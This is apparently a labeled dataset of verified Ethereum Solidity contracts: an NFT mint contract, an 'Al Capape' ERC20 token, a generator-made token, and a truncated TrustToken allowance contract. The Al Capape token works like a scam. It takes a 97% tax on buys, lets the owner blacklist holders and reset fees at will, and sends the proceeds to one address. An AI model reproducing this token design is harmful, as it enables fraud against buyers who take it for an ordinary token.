both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/ToadzLopez.sol pragma solidity >=0.7.0 <0.9.0; contract ToadzLopez is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.0069 ether; uint256 public maxSupply = 555; uint256 public maxMintAmountPerTx = 10; uint256 public freeMintAmount = 0; mapping(address => uint256) public addressMintedBalance; bool public paused = false; bool public revealed = false; constructor() ERC721("Toadz Lopez", "TOADZLOPEZ") { setHiddenMetadataUri("ipfs://QmY8uW4PkqFaAdF6zkE9t4D63Mr7HFeoVQEafzu1GWV7Rf/1.json"); setUriPrefix("ipfs://QmY8uW4PkqFaAdF6zkE9t4D63Mr7HFeoVQEafzu1GWV7Rf/"); setRevealed(true); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setFreeMintAmount(uint256 _freeMintAmount) public onlyOwner { freeMintAmount = _freeMintAmount; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); addressMintedBalance[msg.sender]++; _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-15 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AlCapape is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Al Capape"; string private constant _symbol = "CAPAPE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x72EE1e5b8b155692801e1a61c5385C9Caea60D12); address payable private _marketingAddress = payable(0x72EE1e5b8b155692801e1a61c5385C9Caea60D12); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-07 */ // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }

True

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pragma solidity ^0.4.18; /* MIT License Copyright (c) 2018 TrustToken Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract AllowanceSheet is Claimable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) public allowanceOf; function addAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].add(value); } function subAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner { allowanceOf[tokenHolder][spender] = 